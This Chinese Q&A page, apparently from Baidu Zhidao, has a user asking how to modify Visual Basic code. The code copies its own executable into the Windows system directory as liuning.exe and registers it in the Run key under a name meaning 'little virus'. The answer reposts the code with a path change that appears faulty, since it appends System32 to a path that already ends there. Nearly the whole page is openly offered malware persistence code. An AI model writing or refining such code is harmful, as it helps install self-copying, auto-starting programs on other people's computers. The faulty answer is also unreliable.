大家帮我改一下这个VB代码

来源:百度知道 编辑:UC知道 时间:2024/05/06 11:18:22
'得到系统的系统目录
systempath = String(255, Chr(0))
GetSystemDirectory systempath, 254
systempath = Left(systempath, InStr(systempath, Chr(0)) - 1)
'自我复制到系统目录
If Not Dir(systempath & "\" & "liuning.exe") = "liuning.exe" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", systempath & "\" & "liuning.exe"
End If
'自动运行
regedit "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "甯王小病毒", systempath & "\" & "liuning" & ".exe"
这个代码是只是复制到系统目录下。如果要想复制到系统目录下的windows\sysytem32应该怎么改。

'得到系统的系统目录
systempath = String(255, Chr(0))
GetSystemDirectory systempath, 254
systempath = Left(systempath, InStr(systempath, Chr(0)) - 1) & "\System32"
'自我复制到系统目录
If Not Dir(systempath & "\" & "liuning.exe") = "liuning.exe" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", systempath & "\" & "liuning.exe"
End If
'自动运行
regedit "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "甯王小病毒", systempath & "\" & "liuning" & ".exe"